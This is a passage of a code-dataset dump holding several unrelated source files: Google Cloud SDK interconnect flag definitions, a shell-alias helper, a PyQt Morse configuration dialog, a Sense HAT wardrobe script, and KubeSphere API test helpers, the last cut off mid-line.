requested_features_arg\n ],\n )\n )\n return list(collections.OrderedDict.fromkeys(features)) # Remove duplicates.\n\n\ndef GetRequestedFeature(messages, feature_arg):\n \"\"\"Converts interconnect feature type flag to a message enum.\n\n Args:\n messages: The API messages holder.\n feature_arg: The feature type flag value.\n\n Returns:\n A RequestedFeaturesValueListEntryValuesEnum of the flag value.\n \"\"\"\n if feature_arg == 'MACSEC':\n return messages.Interconnect.RequestedFeaturesValueListEntryValuesEnum(\n 'IF_MACSEC'\n )\n return None\n\n\ndef AddCreateCommonArgs(parser):\n \"\"\"Adds shared flags for create command to the argparse.ArgumentParser.\"\"\"\n AddAdminEnabled(parser)\n AddDescription(parser)\n AddCustomerName(parser)\n AddLinkType(parser)\n AddNocContactEmail(parser)\n AddRequestedLinkCount(parser)\n\n\ndef AddCreateGaArgs(parser):\n \"\"\"Adds GA flags for create command to the argparse.ArgumentParser.\"\"\"\n AddCreateCommonArgs(parser)\n AddInterconnectTypeGA(parser)\n\n\ndef AddCreateAlphaBetaArgs(parser):\n \"\"\"Adds alpha / beta flags for create command to the argparse.ArgumentParser.\"\"\"\n AddCreateCommonArgs(parser)\n AddInterconnectTypeBetaAndAlpha(parser)\n AddRequestedFeatures(parser)\n\n\ndef AddDescription(parser):\n \"\"\"Adds description flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--description',\n help='An optional, textual description for the interconnect.')\n\n\ndef AddInterconnectTypeGA(parser):\n \"\"\"Adds interconnect-type flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--interconnect-type',\n choices=_INTERCONNECT_TYPE_CHOICES_GA,\n required=True,\n help=\"\"\"\\\n Type of the interconnect.\n \"\"\")\n\n\ndef _ShouldShowDeprecatedWarning(value):\n return value and value.upper() == 'IT_PRIVATE'\n\n\ndef AddInterconnectTypeBetaAndAlpha(parser):\n \"\"\"Adds interconnect-type flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--interconnect-type',\n choices=_INTERCONNECT_TYPE_CHOICES_BETA_AND_ALPHA,\n action=calliope_actions.DeprecationAction(\n 'interconnect-type',\n removed=False,\n show_add_help=False,\n show_message=_ShouldShowDeprecatedWarning,\n warn=('IT_PRIVATE will be deprecated '\n 'for {flag_name}. '\n 'Please use DEDICATED instead.'),\n error='Value IT_PRIVATE for {flag_name} has been removed. '\n 'Please use DEDICATED instead.'),\n required=True,\n help=\"\"\"\\\n Type of the interconnect.\n \"\"\")\n\n\ndef AddRequestedFeatures(parser):\n \"\"\"Adds requested-features flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--requested-features',\n type=arg_parsers.ArgList(choices=_REQUESTED_FEATURES_CHOICES),\n metavar='FEATURES',\n help=\"\"\"\\\n List of features requested for this interconnect.\n \"\"\")\n\n\ndef AddLinkType(parser):\n \"\"\"Adds link-type flag to the argparse.ArgumentParser.\"\"\"\n link_types = _LINK_TYPE_CHOICES\n parser.add_argument(\n '--link-type',\n choices=link_types,\n required=True,\n help=\"\"\"\\\n Type of the link for the interconnect.\n \"\"\")\n\n\ndef AddRequestedLinkCount(parser):\n \"\"\"Adds requestedLinkCount flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--requested-link-count',\n required=True,\n type=int,\n help=\"\"\"\\\n Target number of physical links in the link bundle.\n \"\"\")\n\n\ndef AddRequestedLinkCountForUpdate(parser):\n \"\"\"Adds requestedLinkCount flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--requested-link-count',\n type=int,\n help=\"\"\"\\\n Target number of physical links in the link bundle.\n \"\"\")\n\n\ndef AddNocContactEmail(parser):\n \"\"\"Adds nocContactEmail flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--noc-contact-email',\n help=\"\"\"\\\n Email address to contact the customer NOC for operations and maintenance\n notifications regarding this interconnect.\n \"\"\")\n\n\ndef AddCustomerName(parser):\n \"\"\"Adds customerName flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--customer-name',\n help=\"\"\"\\\n Customer name to put in the Letter of Authorization as the party\n authorized to request an interconnect. This field is required for most\n interconnects, however it is prohibited when creating a Cross-Cloud Interconnect.\n \"\"\",\n )\n\n\ndef AddAdminEnabled(parser):\n \"\"\"Adds adminEnabled flag to the argparse.ArgumentParser.\"\"\"\n admin_enabled_args = parser.add_mutually_exclusive_group()\n admin_enabled_args.add_argument(\n '--admin-enabled',\n action='store_true',\n default=None,\n help=\"\"\"\\\n Administrative status of the interconnect. If not provided on creation,\n defaults to enabled.\n When this is enabled, the interconnect is operational and will carry\n traffic across any functioning linked interconnect attachments. Use\n --no-admin-enabled to disable it.\n \"\"\")\n\n\ndef AddAdminEnabledForUpdate(parser):\n \"\"\"Adds adminEnabled flag to the argparse.ArgumentParser.\"\"\"\n admin_enabled_args = parser.add_mutually_exclusive_group()\n admin_enabled_args.add_argument(\n '--admin-enabled',\n action='store_true',\n default=None,\n help=\"\"\"\\\n Administrative status of the interconnect.\n When this is enabled, the interconnect is operational and will carry\n traffic across any functioning linked interconnect attachments. Use\n --no-admin-enabled to disable it.\n \"\"\")\n\n\ndef AddMacsecEnabledForUpdate(parser):\n \"\"\"Adds macsecEnabled flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--enabled',\n action='store_true',\n default=None,\n help=\"\"\"\\\n Enable or disable MACsec on this Interconnect. MACsec enablement will fail\n if the MACsec configuration is not specified. Use --no-enabled to disable\n it.\n \"\"\")\n\n\ndef AddFailOpenForUpdate(parser):\n \"\"\"Adds failOpen flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--fail-open',\n action='store_true',\n default=None,\n help=\"\"\"\\\n If enabled, the Interconnect will be configured with a should-secure\n MACsec security policy, that allows the Google router to fallback to\n cleartext traffic if the MKA session cannot be established. By default,\n the Interconnect will be configured with a must-secure security policy\n that drops all traffic if the MKA session cannot be established with your\n router. Use --no-fail-open to disable it.\n \"\"\")\n\n\ndef AddMacsecPreSharedKeyNameForAddOrUpdateKey(parser):\n \"\"\"Adds keyName flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--key-name',\n required=True,\n help=\"\"\"\\\n A name of pre-shared key being added to MACsec configuration of the\n interconnect. The name must be 1-63 characters long, and comply with\n RFC1035.\n \"\"\")\n\n\ndef AddMacsecPreSharedKeyStartTimeForAddOrUpdateKey(parser):\n \"\"\"Adds keyName flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--start-time',\n required=False,\n default=None,\n help=\"\"\"\\\n A RFC3339 timestamp on or after which the key is valid. startTime can be\n in the future. If the keychain has a single key, --start-time can be\n omitted. If the keychain has multiple keys, --start-time is mandatory for\n each key. The start times of two consecutive keys must be at least 6 hours\n apart.\n \"\"\")\n\n\ndef AddMacsecPreSharedKeyNameForRomoveKey(parser):\n \"\"\"Adds keyName flag to the argparse.ArgumentParser.\"\"\"\n parser.add_argument(\n '--key-name',\n required=True,\n help=\"\"\"\\\n The name of pre-shared key being removed from MACsec configuration of the\n interconnect.\n \"\"\")\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/compute/interconnects/flags.py","file_name":"flags.py","file_ext":"py","file_size_in_byte":11736,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"28422864621","text":"#!/usr/bin/env python\n\nimport sys, subprocess, pathlib\n\n\ndef modify_rcs(alias, command):\n home = pathlib.Path(\n f'/home/{subprocess.run(\"whoami\", shell=True, capture_output=True, text=True).stdout.strip()}')\n rcs = []\n for element in home.iterdir():\n if element.name == '.zshrc':\n rcs.append(home / '.zshrc')\n if element.name == '.fishrc':\n rcs.append(home / '.fishrc')\n if element.name == '.bashrc':\n rcs.append(home / '.bashrc')\n if element == '.kshrc':\n rcs.append(home / '.kshrc')\n if element == '.cshrc':\n rcs.append(home / '.cshrc')\n if element == '.tcshrc':\n rcs.append(home / '.tcshrc')\n if element == '.dashrc':\n rcs.append(home / '.dashrc')\n for rc in rcs:\n\t with rc.open('a') as file:\n\t\t file.write(\n\t\t\t\tf'\\n\\n{alias_string(alias, command)}\\n\\n')\n\n\ndef alias_string(alias, command):\n return f'alias {alias}=\"{command}\"'\n\ndef main():\n alias, command = sys.argv[1], sys.argv[2]\n modify_rcs(alias, command)\n\nif __name__ == '__main__':\n main()\n","repo_name":"varad-comrad/Workflow","sub_path":"workflow/alias.py","file_name":"alias.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33158601645","text":"##########\n# IMPORT #\n##########\nfrom controllers.controllerConfig import ControllerConfig\nfrom PyQt5 import QtWidgets, uic\nfrom PyQt5.QtWidgets import QLineEdit, QSpinBox, QDoubleSpinBox, QDialog, QRadioButton, QMainWindow\n\n######################\n# INITIALISATION DES #\n# VARIABLES #\n######################\n__author__ = \"Rick\"\n__licence__ = \"GPL3 or later\"\n\n\nclass ConfigMorse(QDialog):\n def __init__(self, fenetrePrincipale):\n \"\"\"\n initialise la fenetre de configuration\n\n Parameters\n ----------\n fenetrePrincipale : QMainWindow\n La fenetre principale qui contient un attribut traducteur qui sera modifié.\n \"\"\"\n # initialisation de la fenetre\n super(ConfigMorse, self).__init__()\n\n if not isinstance(fenetrePrincipale, QMainWindow):\n raise TypeError(\"ConfigMorse: fenetrePrincipale doit etre de type QMainWindow.\")\n\n self.fenetrePrincipale = fenetrePrincipale\n self.setWindowTitle(\"Configuration\")\n uic.loadUi('views/config.ui', self)\n #self.setFixedWidth(719)\n #self.setFixedHeight(328)\n\n self.controller = ControllerConfig(self)\n\n # récupération des éléments interactifs\n self.portGpio = self.findChildren(QSpinBox, 'portGpio')[0]\n self.tempsPoint = self.findChildren(QDoubleSpinBox, 'tempsPoint')[0]\n self.barreDeStatus = self.findChildren(QLineEdit, 'barreStatus')[0]\n self.barreDeStatus.setReadOnly(True)\n self.fauxVerbose = self.findChildren(QRadioButton, 'fauxVerbose')[0]\n self.fauxVerbose.setChecked(True)\n self.vraiVerbose = self.findChildren(QRadioButton, 'vraiVerbose')[0]\n\n self.tempsPoint.setSingleStep(0.1)\n self.tempsPoint.setRange(0.1, 10)\n self.portGpio.setRange(1,40)\n self.boutonsSortie.accepted.connect(self.controller.check)\n\n def show(self):\n self.controller.rafraichissement()\n super(ConfigMorse, self).show()\n","repo_name":"rick-gnous/morse-light","sub_path":"components/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31748794015","text":"from sense_hat import SenseHat\nsense = SenseHat()\nimport sys\nfrom additem import add_clothe\nfrom chooseitem import choose_clothe\nprint (\"Hello!\")\n\n\nt = sense.get_temperature()\nh = sense.get_humidity ()\n\nQuestion=raw_input(\"Choose Clothes/Add Clothes?\")\nif Question==\"choose\":\n choose_clothe(h,t)\n\n \n \nelif Question==\"add\":\n add_clothe()\n\nprint (\"Bye Bye!\")\n\n \n\n\n\n\n\n","repo_name":"FEUPCodingForSocialImpact/hackathon","sub_path":"Projetos/Magic Wardrobe/Código/Magic_Wardrobe.py","file_name":"Magic_Wardrobe.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70592057825","text":"import requests\nimport allure\nimport sys\nimport json\nimport time\nfrom common.getHeader import get_header, get_header_for_patch\nfrom common.getConfig import get_apiserver\n\nenv_url = get_apiserver()\nsys.path.append('../') # 将项目路径加到搜索路径中,使得自定义模块可以引用\n\n\n@allure.step('获取集群的名称')\ndef step_get_cluster_name():\n clusters = []\n url = env_url + '/kapis/tenant.kubesphere.io/v1alpha2/clusters'\n response = requests.get(url=url, headers=get_header())\n for i in range(response.json()['totalItems']):\n clusters.append(response.json()['items'][i]['metadata']['name'])\n return clusters\n\n\n@allure.step('获取集群信息')\ndef step_get_cluster_info():\n url = env_url + '/kapis/version'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询容器的日志')\ndef step_get_container_log(pod_name, container_name, start_time, end_time):\n url = env_url + '/kapis/tenant.kubesphere.io/v1alpha2/logs?operation=query&log_query=&pods=' + pod_name + \\\n '&sort=desc&containers=' + container_name + '&from=0&size=100' \\\n '&start_time=' + start_time + '&end_time=' + end_time\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群的节点信息')\ndef step_get_node_info():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/nodes?' \\\n 'sortBy=createTime&labelSelector=%21node-role.kubernetes.io%2Fedge'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询节点的pod信息')\ndef step_get_pod_info(node_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/pods?' \\\n 'labelSelector=&nodeName=' + node_name + '&sortBy=startTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群的普通节点列表信息')\ndef step_get_nodes():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/nodes?sortBy=createTime&labelSelector=%21node-role.kubernetes.io%2Fedge'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群的边缘节点列表信息')\ndef step_get_edge_nodes():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/nodes?sortBy=createTime&labelSelector=node-role.kubernetes.io%2Fedge%3D'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群所有的节点信息')\ndef step_get_node_all():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/nodes'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('为节点设置污点')\ndef step_set_taints(node_name, taints):\n url = env_url + '/api/v1/nodes/' + node_name\n data = {\"spec\": {\"taints\": taints}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('查看节点的详细信息')\ndef step_get_node_detail_info(node_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/nodes/' + node_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('往节点中添加标签')\ndef step_add_labels_for_node(node_name, labels):\n url = env_url + '/api/v1/nodes/' + node_name\n data = {\"metadata\": {\"labels\": labels}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('节点停止/启用调度')\ndef step_cordon_node(node_name, cordon):\n url = env_url + '/api/v1/nodes/' + node_name\n data = {\"spec\": {\"unschedulable\": cordon}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('查询指定的pod')\ndef step_query_pod(node_name, pod_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/pods?nodeName=' + node_name + '&name=' + \\\n pod_name + '&sortBy=startTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看节点的event信息')\ndef step_get_event_of_node(node_name):\n url = env_url + '/api/v1/events?fieldSelector=involvedObject.name%3D' + node_name + '%2CinvolvedObject.kind%3DNode'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看节点的监控信息')\ndef step_get_metrics_of_node(node_name, start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/nodes?start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + '&resources_filter=' + node_name + \\\n '%24&metrics_filter=node_cpu_utilisation%7Cnode_load1%7Cnode_load5%7Cnode_load15%7Cnode_memory_utilisation' \\\n '%7Cnode_disk_size_utilisation%7Cnode_disk_inode_utilisation%7Cnode_disk_inode_usage%7Cnode_disk_inode_total' \\\n '%7Cnode_disk_read_iops%7Cnode_disk_write_iops%7Cnode_disk_read_throughput%7Cnode_disk_write_throughput' \\\n '%7Cnode_net_bytes_transmitted%7Cnode_net_bytes_received%24 '\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看节点的状态信息')\ndef step_get_status_of_node(node_name, start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/nodes?start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + '&resources_filter=' + node_name + \\\n '%24&metrics_filter=node_cpu_utilisation%7Cnode_memory_utilisation%7Cnode_disk_size_utilisation' \\\n '%7Cnode_pod_utilisation%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群指定的系统项目')\ndef step_query_system_project(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces?name=' + project_name + \\\n '&sortBy=createTime&labelSelector=kubesphere.io%2Fworkspace%3Dsystem-workspace'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群中所有的系统项目')\ndef step_get_system_of_cluster():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces?sortBy=createTime&labelSelector=kubesphere.io%2Fworkspace%3Dsystem-workspace'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群所有的项目')\ndef step_get_project_of_cluster():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces/'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('删除项目')\ndef step_delete_project(project_name):\n url = env_url + '/api/v1/namespaces/' + project_name\n response = requests.delete(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看项目的pod信息')\ndef step_get_pods_of_project(project_name, *condition):\n condition_actual = ''\n for i in condition:\n condition_actual += str(i) + '&'\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces/' \\\n + project_name + '/pods?' + condition_actual + '&sortBy=startTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询指定项目的详细信息')\ndef step_get_project_detail(project_name):\n url = env_url + '/api/v1/namespaces/' + project_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询指定项目的配额信息')\ndef step_get_project_quota(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha2/namespaces/' + project_name + '/quotas'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询指定项目的LimitRanges')\ndef step_get_project_limit_ranges(project_name):\n url = env_url + '/api/v1/namespaces/' + project_name + '/limitranges'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询指定项目的工作负载信息')\ndef step_get_project_workload(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha2/namespaces/' + project_name + '/abnormalworkloads'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('按类别查询指定项目的工作负载信息')\ndef step_get_project_workload_by_type(project_name, type):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces/' + project_name + '/' + type + '?sortBy=updateTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群指定项目的存储卷信息')\ndef step_get_project_pvc(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces/' + project_name + '/persistentvolumeclaims'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('创建用户项目')\ndef step_create_user_project(project_name, alias_name, description):\n url = env_url + '/api/v1/namespaces'\n data = {\"apiVersion\": \"v1\", \"kind\": \"Namespace\", \"metadata\": {\"name\": project_name,\n \"annotations\": {\n \"kubesphere.io/alias-name\": alias_name,\n \"kubesphere.io/description\": description,\n \"kubesphere.io/creator\": \"admin\"},\n \"labels\": {}}}\n response = requests.post(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('集群/项目,查询指定的用户项目详情')\ndef step_get_user_project_detail(project_name):\n url = env_url + '/api/v1/namespaces/' + project_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('集群/项目,用户项目列表查询指定的用户项目')\ndef step_get_user_project(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces?name=' + project_name + '&sortBy=createTime&labelSelector=kubesphere.io%2Fworkspace%21%3Dsystem-workspace%2C%21kubesphere.io%2Fdevopsproject'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('名称查询指定的用户项目')\ndef step_query_user_system(project_name):\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces?name=' + project_name + \\\n '&sortBy=createTime&limit=10&labelSelector=kubesphere.io%2Fworkspace%21%3Dsystem-workspace%2C%21kubesphere.io%2Fdevopsproject'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('删除用户项目')\ndef step_delete_user_system(project_name):\n url = env_url + '/api/v1/namespaces/' + project_name\n response = requests.delete(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群的所有项目工作的资源信息')\ndef step_get_resource_of_cluster(resource_type, *condition):\n \"\"\"\n :param resource_type: 资源类型 deployments,statefulSets,daemonSets...\n :return:\n \"\"\"\n condition_actual = ''\n for i in condition:\n condition_actual += str(i) + '&'\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/' + resource_type + '?' + condition_actual + \\\n 'sortBy=updateTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询工作负载的详情信息')\ndef step_get_app_workload_detail(project_name, resource_type, resource_name):\n url = env_url + '/apis/apps/v1/namespaces/' + project_name + '/' + resource_type + '/' + resource_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询工作负载的Revision Records')\ndef step_get_app_workload_revision_records(project_name, label_selector):\n url = env_url + '/apis/apps/v1/namespaces/' + project_name + '/controllerrevisions?labelSelector=' \\\n + label_selector\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询的deployment的Revision Records')\ndef step_get_deployment_revision_records(project_name, label_selector):\n url = env_url + '/apis/apps/v1/namespaces/' + project_name + '/replicasets?labelSelector=' \\\n + label_selector\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询工作负载的Monitoring')\ndef step_get_app_workload_monitoring(project_name, resource_type, resource_name):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/namespaces/' + project_name + '/workloads/' \\\n + resource_type + '/' + resource_name + '/pods?sort_metric=pod_cpu_usage&limit=5&page=1'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群资源的Event')\ndef step_get_resource_event(project_name, resource_type, resource_name, resource_uid):\n url = env_url + '/api/v1/namespaces/' + project_name + '/events?fieldSelector=involvedObject.name%3D' \\\n + resource_name + '%2CinvolvedObject.namespace%3D' + \\\n project_name + '%2CinvolvedObject.kind%3D' + resource_type + '%2CinvolvedObject.uid%3D' + resource_uid\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群所有的容器组信息')\ndef step_get_pods_of_cluster():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/pods?sortBy=startTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('获取集群中指定项目的资源信息')\ndef step_get_resource_of_cluster_by_project(type, project_name, *name):\n name_actual = ''\n for i in name:\n name_actual += str(i) + '&'\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/namespaces/' + project_name + '/' + type + '?' + \\\n name_actual + 'sortBy=createTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询CRD的详情信息')\ndef step_get_crd_detail(crd_name):\n url = env_url + '/apis/apiextensions.k8s.io/v1/customresourcedefinitions/' + crd_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询CRD的查看CRD的自定义资源信息信息')\ndef step_get_crd_federated_group_list(group, version, kind):\n if kind.endswith('ateway'):\n url = env_url + '/apis/' + group + '/' + version + '/' + kind + 's'\n elif kind.endswith('y'):\n url = env_url + '/apis/' + group + '/' + version + '/' + kind[:-1] + 'ies'\n elif kind[-1] in 'sx' or kind[-2:] in ['sh', 'ch']:\n url = env_url + '/apis/' + group + '/' + version + '/' + kind + 'es'\n elif kind.endswith('an'):\n url = env_url + '/apis/' + group + '/' + version + '/' + kind[:-2] + 'en'\n else:\n url = env_url + '/apis/' + group + '/' + version + '/' + kind + 's'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询存储卷的详情信息')\ndef step_get_pvc_detail(project_name, pvc_name):\n url = env_url + '/api/v1/namespaces/' + project_name + '/persistentvolumeclaims/' + pvc_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n@allure.step('获取集群的默认存储类')\ndef step_get_cluster_default_storage_class(cluster_name=''):\n if cluster_name:\n url = env_url + '/kapis/clusters/' + cluster_name + '/resources.kubesphere.io/v1alpha3/storageclasses?sortBy=createTime&limit=10'\n else:\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha3/storageclasses?sortBy=createTime&limit=10'\n response = requests.get(url=url, headers=get_header())\n counts = response.json()['totalItems']\n for i in range(0, counts):\n try:\n if response.json()['items'][i]['metadata']['annotations'][\n 'storageclass.kubernetes.io/is-default-class'] == 'true':\n return response.json()['items'][i]['metadata']['name']\n except KeyError:\n print('该存储类不是默认存储类')\n\n\n@allure.step('查询存储卷的监控信息')\ndef step_get_metrics_of_pvc(project_name, pvc_name, start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/namespaces/' + project_name + \\\n '/persistentvolumeclaims/' + pvc_name + '?cluster=default&start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + '&metrics_filter=pvc_inodes_used%7Cpvc_inodes_total' \\\n '%7Cpvc_inodes_utilisation%7Cpvc_bytes_available%7Cpvc_bytes_total' \\\n '%7Cpvc_bytes_utilisation%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询存储类型的详细信息')\ndef step_get_storage_class_detail(name):\n url = env_url + '/apis/storage.k8s.io/v1/storageclasses/' + name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('设置存储类型为默认存储类型')\ndef step_set_default_storage_class(name, set):\n \"\"\"\n\n :param name:\n :param set: true or false\n :return:\n \"\"\"\n url = env_url + '/apis/storage.k8s.io/v1/storageclasses/' + name\n data = {\"metadata\": {\"annotations\": {\"storageclass.kubernetes.io/is-default-class\": set,\n \"storageclass.beta.kubernetes.io/is-default-class\": set}}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('获取集群组件的健康情况')\ndef step_get_component_health():\n url = env_url + '/kapis/resources.kubesphere.io/v1alpha2/componenthealth'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群的监控的信息')\ndef step_get_metrics_of_cluster(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/cluster?start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + '&metrics_filter=cluster_cpu_usage%7Ccluster_cpu_total' \\\n '%7Ccluster_cpu_utilisation%7Ccluster_memory_usage_wo_cache%7Ccluster_memory_total%7C' \\\n 'cluster_memory_utilisation%7Ccluster_disk_size_usage%7Ccluster_disk_size_capacity%7C' \\\n 'cluster_disk_size_utilisation%7Ccluster_pod_running_count%7Ccluster_pod_quota%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询apiserver的监控信息')\ndef step_get_metrics_of_apiserver(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/components/apiserver?start=' + start_time + \\\n '&end=' + end_time + '&step=' + step + '×=' + times + '&metrics_filter=apiserver_request_latencies%7C' \\\n 'apiserver_request_by_verb_latencies%7Capiserver_request_rate%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询scheduler的监控信息')\ndef step_get_metrics_of_scheduler(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/components/scheduler?start=' + start_time + \\\n '&end=' + end_time + '&step=' + step + '×=' + times + '&metrics_filter=scheduler_schedule_attempts%7C' \\\n 'scheduler_schedule_attempt_rate%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群的 node usage ranking信息')\ndef step_get_node_usage_rank(sort):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/nodes?type=rank&' \\\n 'metrics_filter=node_cpu_utilisation%7Cnode_cpu_usage%7Cnode_cpu_total%7Cnode_memory_utilisation%7C' \\\n 'node_memory_usage_wo_cache%7Cnode_memory_total%7Cnode_disk_size_utilisation%7Cnode_disk_size_usage%7C' \\\n 'node_disk_size_capacity%7Cnode_pod_utilisation%7Cnode_pod_running_count%7Cnode_pod_quota%7C' \\\n 'node_disk_inode_utilisation%7Cnode_disk_inode_total%7Cnode_disk_inode_usage%7C' \\\n 'node_load1%24&sort_type=desc&sort_metric=' + sort\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群资源使用情况')\ndef step_get_resource_usage_of_cluster(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/cluster?start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + \\\n '&metrics_filter=cluster_cpu_usage%7Ccluster_memory_usage_wo_cache%7Ccluster_disk_size_usage%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群应用资源用量')\ndef step_get_app_usage_of_cluster(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/cluster?start=' + start_time + '&end=' + end_time + \\\n '&step=' + step + '×=' + times + \\\n '&metrics_filter=cluster_deployment_count%7Ccluster_statefulset_count%7Ccluster_daemonset_count%7C' \\\n 